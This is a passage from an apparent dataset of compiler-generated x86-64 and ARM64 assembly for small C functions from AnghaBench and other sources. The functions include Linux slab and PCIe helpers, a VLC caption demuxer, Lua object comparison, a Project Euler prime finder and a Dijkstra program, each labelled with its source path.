l_.str.2: ; @.str.2 .asciz "cryptocaps" .comm _IEEE80211_CRYPTO_BITS,4,2 ; @IEEE80211_CRYPTO_BITS l_.str.3: ; @.str.3 .asciz "htcaps" .comm _IEEE80211_HTCAP_BITS,4,2 ; @IEEE80211_HTCAP_BITS l_.str.4: ; @.str.4 .asciz "vhtcaps" .comm _IEEE80211_VHTCAP_BITS,4,2 ; @IEEE80211_VHTCAP_BITS .comm _chaninfo,8,3 ; @chaninfo .no_dead_strip _list_capabilities .subsections_via_symbols

AnghaBench/freebsd/sbin/ifconfig/extr_ifieee80211.c_list_capabilities.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _isprime ## -- Begin function isprime .p2align 4, 0x90 _isprime: ## @isprime .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp cvtsi2sd %edi, %xmm0 sqrtsd %xmm0, %xmm0 movl (%rsi), %ecx addq $4, %rsi .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movl %edi, %eax cltd idivl %ecx testl %edx, %edx je LBB0_2 ## %bb.3: ## in Loop: Header=BB0_1 Depth=1 movl (%rsi), %ecx movl $1, %eax testl %ecx, %ecx je LBB0_5 ## %bb.4: ## in Loop: Header=BB0_1 Depth=1 addq $4, %rsi xorps %xmm1, %xmm1 cvtsi2sd %ecx, %xmm1 ucomisd %xmm1, %xmm0 jae LBB0_1 LBB0_5: popq %rbp retq LBB0_2: xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movl $40004, %edi ## imm = 0x9C44 callq _malloc movq %rax, %rbx movl $2, (%rax) movq %rax, %r14 addq $4, %r14 movl $40000, %esi ## imm = 0x9C40 movq %r14, %rdi callq ___bzero movl $1, %r8d movl $3, %ecx movl $2, %esi jmp LBB1_1 .p2align 4, 0x90 LBB1_7: ## in Loop: Header=BB1_1 Depth=1 addl $2, %ecx movl (%rbx), %esi LBB1_1: ## =>This Loop Header: Depth=1 ## Child Loop BB1_2 Depth 2 xorps %xmm0, %xmm0 cvtsi2sd %ecx, %xmm0 sqrtsd %xmm0, %xmm0 movq %r14, %rdi .p2align 4, 0x90 LBB1_2: ## Parent Loop BB1_1 Depth=1 ## => This Inner Loop Header: Depth=2 movl %ecx, %eax cltd idivl %esi testl %edx, %edx je LBB1_7 ## %bb.3: ## in Loop: Header=BB1_2 Depth=2 movl (%rdi), %esi testl %esi, %esi je LBB1_5 ## %bb.4: ## in Loop: Header=BB1_2 Depth=2 addq $4, %rdi xorps %xmm1, %xmm1 cvtsi2sd %esi, %xmm1 ucomisd %xmm1, %xmm0 jae LBB1_2 LBB1_5: ## in Loop: Header=BB1_1 Depth=1 movslq %r8d, %rax movl %ecx, (%rbx,%rax,4) movl 40000(%rbx), %esi testl %esi, %esi jne LBB1_8 ## %bb.6: ## in Loop: Header=BB1_1 Depth=1 incl %r8d jmp LBB1_7 LBB1_8: leaq L_.str(%rip), %rdi xorl %eax, %eax callq _printf movq %rbx, %rdi callq _free xorl %eax, %eax popq %rbx popq %r14 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "The answer to Euler Problem 7 is %i\n" .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _isprime ; -- Begin function isprime .p2align 2 _isprime: ; @isprime .cfi_startproc ; %bb.0: scvtf d0, w0 fsqrt d0, d0 ldr w9, [x1], #4 LBB0_1: ; =>This Inner Loop Header: Depth=1 sdiv w8, w0, w9 msub w8, w8, w9, w0 cbz w8, LBB0_4 ; %bb.2: ; in Loop: Header=BB0_1 Depth=1 ldr w9, [x1], #4 mov w8, #1 cbz w9, LBB0_4 ; %bb.3: ; in Loop: Header=BB0_1 Depth=1 scvtf d1, w9 fcmp d0, d1 b.ge LBB0_1 LBB0_4: mov x0, x8 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov w0, #40004 bl _malloc mov x19, x0 mov w20, #2 str w20, [x0], #4 mov w21, #40000 mov w1, #40000 bl _bzero add x8, x19, x21 mov w9, #1 mov w10, #3 b LBB1_2 LBB1_1: ; in Loop: Header=BB1_2 Depth=1 add w10, w10, #2 ldr w20, [x19] LBB1_2: ; =>This Loop Header: Depth=1 ; Child Loop BB1_3 Depth 2 scvtf d0, w10 fsqrt d0, d0 mov w11, #4 LBB1_3: ; Parent Loop BB1_2 Depth=1 ; => This Inner Loop Header: Depth=2 sdiv w12, w10, w20 msub w12, w12, w20, w10 cbz w12, LBB1_1 ; %bb.4: ; in Loop: Header=BB1_3 Depth=2 ldr w20, [x19, x11] cbz w20, LBB1_6 ; %bb.5: ; in Loop: Header=BB1_3 Depth=2 scvtf d1, w20 add x11, x11, #4 fcmp d0, d1 b.ge LBB1_3 LBB1_6: ; in Loop: Header=BB1_2 Depth=1 str w10, [x19, w9, sxtw #2] ldr w11, [x8] cbnz w11, LBB1_8 ; %bb.7: ; in Loop: Header=BB1_2 Depth=1 add w9, w9, #1 b LBB1_1 LBB1_8: str x11, [sp] Lloh0: adrp x0, l_.str@PAGE Lloh1: add x0, x0, l_.str@PAGEOFF bl _printf mov x0, x19 bl _free mov w0, #0 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload add sp, sp, #64 ret .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "The answer to Euler Problem 7 is %i\n" .subsections_via_symbols

the_stack_data/143527.c

stack

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function get_freelist _get_freelist: ## @get_freelist .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r15 movq %rdi, %r14 ## implicit-def: $r13d .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movq (%r15), %r12 movq 24(%r15), %rbx xorl %edi, %edi testl %r13d, %r13d sete %dil callq _VM_BUG_ON xorl %r13d, %r13d testq %rbx, %rbx setne %r13b leaq L_.str(%rip), %rax movq %rax, (%rsp) movq %r14, %rdi movq %r15, %rsi movq %rbx, %rdx movq %r12, %rcx xorl %r8d, %r8d movq %r12, %r9 callq ___cmpxchg_double_slab testl %eax, %eax je LBB0_1 ## %bb.2: movq %rbx, %rax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "get_freelist" .no_dead_strip _get_freelist .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function get_freelist _get_freelist: ; @get_freelist .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x1 mov x20, x0 Lloh0: adrp x21, l_.str@PAGE Lloh1: add x21, x21, l_.str@PAGEOFF ; implicit-def: $w24 LBB0_1: ; =>This Inner Loop Header: Depth=1 ldr x22, [x19, #24] ldr x23, [x19] cmp w24, #0 cset w0, eq bl _VM_BUG_ON cmp x22, #0 cset w24, ne mov x0, x20 mov x1, x19 mov x2, x22 mov x3, x23 mov x4, #0 mov x5, x23 mov x6, x21 bl ___cmpxchg_double_slab cbz w0, LBB0_1 ; %bb.2: mov x0, x22 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "get_freelist" .no_dead_strip _get_freelist .subsections_via_symbols

AnghaBench/linux/mm/extr_slub.c_get_freelist.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _CEA708_DTVCC_Demuxer_Push ## -- Begin function CEA708_DTVCC_Demuxer_Push .p2align 4, 0x90 _CEA708_DTVCC_Demuxer_Push: ## @CEA708_DTVCC_Demuxer_Push .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rdi, %rbx movl (%rdx), %eax notl %eax testb $3, %al jne LBB0_5 ## %bb.1: movl 4(%rdx), %ecx movl %ecx, %eax sarl $6, %eax cmpl $64, %ecx jl LBB0_3 ## %bb.2: movl (%rbx), %r9d leal 1(%r9), %r8d leal 4(%r9), %edi testl %r8d, %r8d cmovnsl %r8d, %edi andl $-4, %edi negl %edi addl %r9d, %edi incl %edi cmpl %eax, %edi jne LBB0_4 LBB0_3: andl $63, %ecx leal -1(%rcx,%rcx), %edi movl $127, %ecx cmovnel %edi, %ecx movl %eax, (%rbx) movq %rcx, 16(%rbx) movl %esi, 32(%rbx) movl 8(%rdx), %eax movq 24(%rbx), %rdx movq $1, 8(%rbx) movl %eax, (%rdx) movl $1, %eax jmp LBB0_9 LBB0_5: movq 16(%rbx), %rcx testq %rcx, %rcx jle LBB0_6 ## %bb.7: movl 4(%rdx), %eax movq 8(%rbx), %rsi movq 24(%rbx), %rdi movl %eax, (%rdi,%rsi,4) movl 8(%rdx), %edx leaq 2(%rsi), %rax movq %rax, 8(%rbx) movl %edx, 4(%rdi,%rsi,4) testq %rax, %rax jg LBB0_9 jmp LBB0_13 LBB0_6: movq 8(%rbx), %rax testq %rax, %rax jle LBB0_13 LBB0_9: cmpq %rcx, %rax jl LBB0_13 ## %bb.10: jne LBB0_12 ## %bb.11: movl 32(%rbx), %esi movq 24(%rbx), %rdx movq %rbx, %rdi callq _CEA708_DTVCC_Demux_ServiceBlocks LBB0_12: xorps %xmm0, %xmm0 movups %xmm0, 8(%rbx) jmp LBB0_13 LBB0_4: xorps %xmm0, %xmm0 movups %xmm0, 8(%rbx) movl %eax, (%rbx) LBB0_13: addq $8, %rsp popq %rbx popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _CEA708_DTVCC_Demuxer_Push ; -- Begin function CEA708_DTVCC_Demuxer_Push .p2align 2 _CEA708_DTVCC_Demuxer_Push: ; @CEA708_DTVCC_Demuxer_Push .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x0 ldr w8, [x2] mvn w8, w8 tst w8, #0x3 b.ne LBB0_4 ; %bb.1: ldr w9, [x2, #4] asr w8, w9, #6 cmp w9, #64 b.lt LBB0_3 ; %bb.2: ldr w10, [x19] add w10, w10, #1 negs w11, w10 and w11, w11, #0x3 and w10, w10, #0x3 csneg w10, w10, w11, mi cmp w10, w8 b.ne LBB0_11 LBB0_3: ands w10, w9, #0x3f lsl w10, w10, #1 sub w10, w10, #1 tst w9, #0x3f mov w9, #127 csel w3, w9, w10, eq str w8, [x19] str w1, [x19, #32] ldr w9, [x2, #8] ldr x10, [x19, #24] mov w8, #1 stp x8, x3, [x19, #8] str w9, [x10] b LBB0_7 LBB0_4: ldr x3, [x19, #16] cmp x3, #0 b.le LBB0_6 ; %bb.5: ldr w8, [x2, #4] ldr x9, [x19, #24] ldr x10, [x19, #8] add x9, x9, x10, lsl #2 str w8, [x9] ldr w11, [x2, #8] add x8, x10, #2 str x8, [x19, #8] str w11, [x9, #4] cmp x8, #1 b.ge LBB0_7 b LBB0_12 LBB0_6: ldr x8, [x19, #8] cmp x8, #1 b.lt LBB0_12 LBB0_7: cmp x8, x3 b.lt LBB0_12 ; %bb.8: b.ne LBB0_10 ; %bb.9: ldr w1, [x19, #32] ldr x2, [x19, #24] mov x0, x19 bl _CEA708_DTVCC_Demux_ServiceBlocks LBB0_10: stp xzr, xzr, [x19, #8] b LBB0_12 LBB0_11: stp xzr, xzr, [x19, #8] str w8, [x19] LBB0_12: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .subsections_via_symbols

AnghaBench/vlc/modules/codec/extr_cea708.c_CEA708_DTVCC_Demuxer_Push.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function rcar_rmw32 _rcar_rmw32: ## @rcar_rmw32 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %ecx, %r14d movl %edx, %r13d movl %esi, %r15d movq %rdi, %r12 movq _BITS_PER_BYTE@GOTPCREL(%rip), %rax movl %esi, %ebx andl $3, %ebx imull (%rax), %ebx andl $-4, %r15d movl %r15d, %esi callq _rcar_pci_read_reg movl %ebx, %ecx shll %cl, %r13d notl %r13d andl %eax, %r13d shll %cl, %r14d orl %r13d, %r14d movq %r12, %rdi movl %r14d, %esi movl %r15d, %edx addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _rcar_pci_write_reg ## TAILCALL .cfi_endproc ## -- End function .comm _BITS_PER_BYTE,4,2 ## @BITS_PER_BYTE .no_dead_strip _rcar_rmw32 .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function rcar_rmw32 _rcar_rmw32: ; @rcar_rmw32 .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x3 mov x20, x2 mov x21, x0 Lloh0: adrp x8, _BITS_PER_BYTE@GOTPAGE Lloh1: ldr x8, [x8, _BITS_PER_BYTE@GOTPAGEOFF] Lloh2: ldr w8, [x8] and w9, w1, #0x3 mul w23, w8, w9 and w22, w1, #0xfffffffc mov x1, x22 bl _rcar_pci_read_reg lsl w8, w20, w23 bic w8, w0, w8 lsl w9, w19, w23 orr w1, w8, w9 mov x0, x21 mov x2, x22 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload b _rcar_pci_write_reg .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .cfi_endproc ; -- End function .comm _BITS_PER_BYTE,4,2 ; @BITS_PER_BYTE .no_dead_strip _rcar_rmw32 .subsections_via_symbols

AnghaBench/linux/drivers/pci/controller/extr_pcie-rcar.c_rcar_rmw32.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _luaO_rawequalObj ## -- Begin function luaO_rawequalObj .p2align 4, 0x90 _luaO_rawequalObj: ## @luaO_rawequalObj .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %rbx pushq %rax .cfi_offset %rbx, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r14 movq %rdi, %r15 callq _ttype movl %eax, %ebx movq %r14, %rdi callq _ttype movl %eax, %ecx xorl %eax, %eax cmpl %ecx, %ebx jne LBB0_8 ## %bb.1: movq %r15, %rdi callq _ttype movl %eax, %ecx addl $-128, %ecx cmpl $3, %ecx ja LBB0_6 ## %bb.2: movl $1, %eax leaq LJTI0_0(%rip), %rdx movslq (%rdx,%rcx,4), %rcx addq %rdx, %rcx jmpq *%rcx LBB0_3: movq %r15, %rdi callq _nvalue movl %eax, %ebx movq %r14, %rdi callq _nvalue movl %ebx, %edi movl %eax, %esi addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp jmp _luai_numeq ## TAILCALL LBB0_6: movq %r15, %rdi callq _iscollectable movl %eax, %edi callq _lua_assert movq %r15, %rdi callq _gcvalue movl %eax, %ebx movq %r14, %rdi callq _gcvalue jmp LBB0_7 LBB0_5: movq %r15, %rdi callq _pvalue movl %eax, %ebx movq %r14, %rdi callq _pvalue jmp LBB0_7 LBB0_4: movq %r15, %rdi callq _bvalue movl %eax, %ebx movq %r14, %rdi callq _bvalue LBB0_7: movl %eax, %ecx xorl %eax, %eax cmpl %ecx, %ebx sete %al LBB0_8: addq $8, %rsp popq %rbx popq %r14 popq %r15 popq %rbp retq .cfi_endproc .p2align 2, 0x90 .data_region jt32 .set L0_0_set_3, LBB0_3-LJTI0_0 .set L0_0_set_8, LBB0_8-LJTI0_0 .set L0_0_set_5, LBB0_5-LJTI0_0 .set L0_0_set_4, LBB0_4-LJTI0_0 LJTI0_0: .long L0_0_set_3 .long L0_0_set_8 .long L0_0_set_5 .long L0_0_set_4 .end_data_region ## -- End function .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _luaO_rawequalObj ; -- Begin function luaO_rawequalObj .p2align 2 _luaO_rawequalObj: ; @luaO_rawequalObj .cfi_startproc ; %bb.0: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill .cfi_def_cfa_offset 48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x1 mov x20, x0 bl _ttype mov x21, x0 mov x0, x19 bl _ttype cmp w21, w0 b.ne LBB0_4 ; %bb.1: mov x0, x20 bl _ttype sub w8, w0, #128 cmp w8, #3 b.hi LBB0_5 ; %bb.2: mov w0, #1 Lloh0: adrp x9, lJTI0_0@PAGE Lloh1: add x9, x9, lJTI0_0@PAGEOFF adr x10, LBB0_3 ldrb w11, [x9, x8] add x10, x10, x11, lsl #2 br x10 LBB0_3: mov x0, x20 bl _nvalue mov x20, x0 mov x0, x19 bl _nvalue mov x1, x0 mov x0, x20 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload b _luai_numeq LBB0_4: mov w0, #0 b LBB0_9 LBB0_5: mov x0, x20 bl _iscollectable bl _lua_assert mov x0, x20 bl _gcvalue mov x20, x0 mov x0, x19 bl _gcvalue b LBB0_8 LBB0_6: mov x0, x20 bl _pvalue mov x20, x0 mov x0, x19 bl _pvalue b LBB0_8 LBB0_7: mov x0, x20 bl _bvalue mov x20, x0 mov x0, x19 bl _bvalue LBB0_8: cmp w20, w0 cset w0, eq LBB0_9: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc .section __TEXT,__const lJTI0_0: .byte (LBB0_3-LBB0_3)>>2 .byte (LBB0_9-LBB0_3)>>2 .byte (LBB0_6-LBB0_3)>>2 .byte (LBB0_7-LBB0_3)>>2 ; -- End function .subsections_via_symbols

AnghaBench/Provenance/Cores/FCEU/FCEU/lua/src/extr_lobject.c_luaO_rawequalObj.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function ltq_mm_dir_out _ltq_mm_dir_out: ## @ltq_mm_dir_out .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp callq _ltq_mm_set xorl %eax, %eax popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _ltq_mm_dir_out .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function ltq_mm_dir_out _ltq_mm_dir_out: ; @ltq_mm_dir_out .cfi_startproc ; %bb.0: stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill .cfi_def_cfa_offset 16 mov x29, sp .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 bl _ltq_mm_set mov w0, #0 ldp x29, x30, [sp], #16 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _ltq_mm_dir_out .subsections_via_symbols

AnghaBench/linux/drivers/gpio/extr_gpio-mm-lantiq.c_ltq_mm_dir_out.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _dijkstra ## -- Begin function dijkstra .p2align 4, 0x90 _dijkstra: ## @dijkstra .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movslq %edi, %rax movq _sal@GOTPCREL(%rip), %r10 movl (%r10,%rax,4), %ecx movq _dist@GOTPCREL(%rip), %r12 movl %ecx, (%r12,%rax,4) movq _disc@GOTPCREL(%rip), %r15 cmpb $0, (%r15,%rax) jne LBB0_22 ## %bb.1: movq _n@GOTPCREL(%rip), %rcx movl (%rcx), %r8d cmpl %edi, %r8d je LBB0_22 ## %bb.2: leal 1(%r8), %esi leaq -1(%rsi), %r9 movq %r9, %r14 andq $-2, %r14 negq %r14 movq _gal@GOTPCREL(%rip), %r11 .p2align 4, 0x90 LBB0_8: ## =>This Loop Header: Depth=1 ## Child Loop BB0_11 Depth 2 ## Child Loop BB0_17 Depth 2 movb $1, (%r15,%rax) testl %r8d, %r8d jle LBB0_9 ## %bb.10: ## in Loop: Header=BB0_8 Depth=1 movl %edi, %edi imulq $1001, %rax, %rbx ## imm = 0x3E9 addq %r11, %rbx movl $1, %edx jmp LBB0_11 .p2align 4, 0x90 LBB0_15: ## in Loop: Header=BB0_11 Depth=2 incq %rdx cmpq %rdx, %rsi je LBB0_16 LBB0_11: ## Parent Loop BB0_8 Depth=1 ## => This Inner Loop Header: Depth=2 cmpq %rdx, %rdi je LBB0_15 ## %bb.12: ## in Loop: Header=BB0_11 Depth=2 cmpb $0, (%rbx,%rdx) je LBB0_15 ## %bb.13: ## in Loop: Header=BB0_11 Depth=2 movl (%r10,%rdx,4), %ecx addl (%r12,%rax,4), %ecx cmpl %ecx, (%r12,%rdx,4) jle LBB0_15 ## %bb.14: ## in Loop: Header=BB0_11 Depth=2 movl %ecx, (%r12,%rdx,4) jmp LBB0_15 .p2align 4, 0x90 LBB0_16: ## in Loop: Header=BB0_8 Depth=1 movl $1, %edi movl $1500000000, %eax ## imm = 0x59682F00 movl $1, %ebx cmpl $2, %esi jne LBB0_17 LBB0_3: ## in Loop: Header=BB0_8 Depth=1 testb $1, %r9b je LBB0_6 ## %bb.4: ## in Loop: Header=BB0_8 Depth=1 cmpb $0, (%r15,%rbx) jne LBB0_6 ## %bb.5: ## in Loop: Header=BB0_8 Depth=1 cmpl (%r12,%rbx,4), %eax cmovgl %ebx, %edi jmp LBB0_6 .p2align 4, 0x90 LBB0_21: ## in Loop: Header=BB0_17 Depth=2 leaq (%r14,%rbx), %rcx addq $2, %rcx addq $2, %rbx cmpq $1, %rcx je LBB0_3 LBB0_17: ## Parent Loop BB0_8 Depth=1 ## => This Inner Loop Header: Depth=2 cmpb $0, (%r15,%rbx) je LBB0_18 ## %bb.19: ## in Loop: Header=BB0_17 Depth=2 cmpb $0, 1(%r15,%rbx) jne LBB0_21 jmp LBB0_20 .p2align 4, 0x90 LBB0_18: ## in Loop: Header=BB0_17 Depth=2 movl (%r12,%rbx,4), %ecx cmpl %ecx, %eax cmovgl %ebx, %edi cmovgel %ecx, %eax cmpb $0, 1(%r15,%rbx) jne LBB0_21 LBB0_20: ## in Loop: Header=BB0_17 Depth=2 movl 4(%r12,%rbx,4), %ecx leal 1(%rbx), %edx cmpl %ecx, %eax cmovgl %edx, %edi cmovgel %ecx, %eax jmp LBB0_21 .p2align 4, 0x90 LBB0_9: ## in Loop: Header=BB0_8 Depth=1 movl $1, %edi LBB0_6: ## in Loop: Header=BB0_8 Depth=1 movslq %edi, %rax cmpb $0, (%r15,%rax) jne LBB0_22 ## %bb.7: ## in Loop: Header=BB0_8 Depth=1 cmpl %r8d, %edi jne LBB0_8 LBB0_22: popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 leaq L_.str(%rip), %rdi movq _m@GOTPCREL(%rip), %rbx movq _n@GOTPCREL(%rip), %r13 movq _g@GOTPCREL(%rip), %rcx movq _k@GOTPCREL(%rip), %r8 movq %rbx, %rsi movq %r13, %rdx xorl %eax, %eax callq _scanf testl %eax, %eax je LBB1_59 ## %bb.1: movq _dp@GOTPCREL(%rip), %r15 movl $8009, %eax ## imm = 0x1F49 addq _gal@GOTPCREL(%rip), %rax movq %rax, -56(%rbp) ## 8-byte Spill movq _dano@GOTPCREL(%rip), %r12 movq _mana@GOTPCREL(%rip), %r14 jmp LBB1_2 .p2align 4, 0x90 LBB1_57: ## in Loop: Header=BB1_2 Depth=1 leaq L_.str.3(%rip), %rdi xorl %eax, %eax callq _printf LBB1_58: ## in Loop: Header=BB1_2 Depth=1 movq _k@GOTPCREL(%rip), %r8 movq _m@GOTPCREL(%rip), %rbx movq _dano@GOTPCREL(%rip), %r12 movq _n@GOTPCREL(%rip), %r13 movq _g@GOTPCREL(%rip), %rcx leaq L_.str(%rip), %rdi movq %rbx, %rsi movq %r13, %rdx xorl %eax, %eax callq _scanf testl %eax, %eax je LBB1_59 LBB1_2: ## =>This Loop Header: Depth=1 ## Child Loop BB1_8 Depth 2 ## Child Loop BB1_11 Depth 2 ## Child Loop BB1_13 Depth 3 ## Child Loop BB1_36 Depth 2 ## Child Loop BB1_20 Depth 2 ## Child Loop BB1_23 Depth 2 ## Child Loop BB1_26 Depth 2 ## Child Loop BB1_42 Depth 2 ## Child Loop BB1_44 Depth 3 ## Child Loop BB1_50 Depth 3 movl (%rbx), %r8d testl %r8d, %r8d jne LBB1_6 ## %bb.3: ## in Loop: Header=BB1_2 Depth=1 cmpl $0, (%r13) jne LBB1_6 ## %bb.4: ## in Loop: Header=BB1_2 Depth=1 movq _g@GOTPCREL(%rip), %rax cmpl $0, 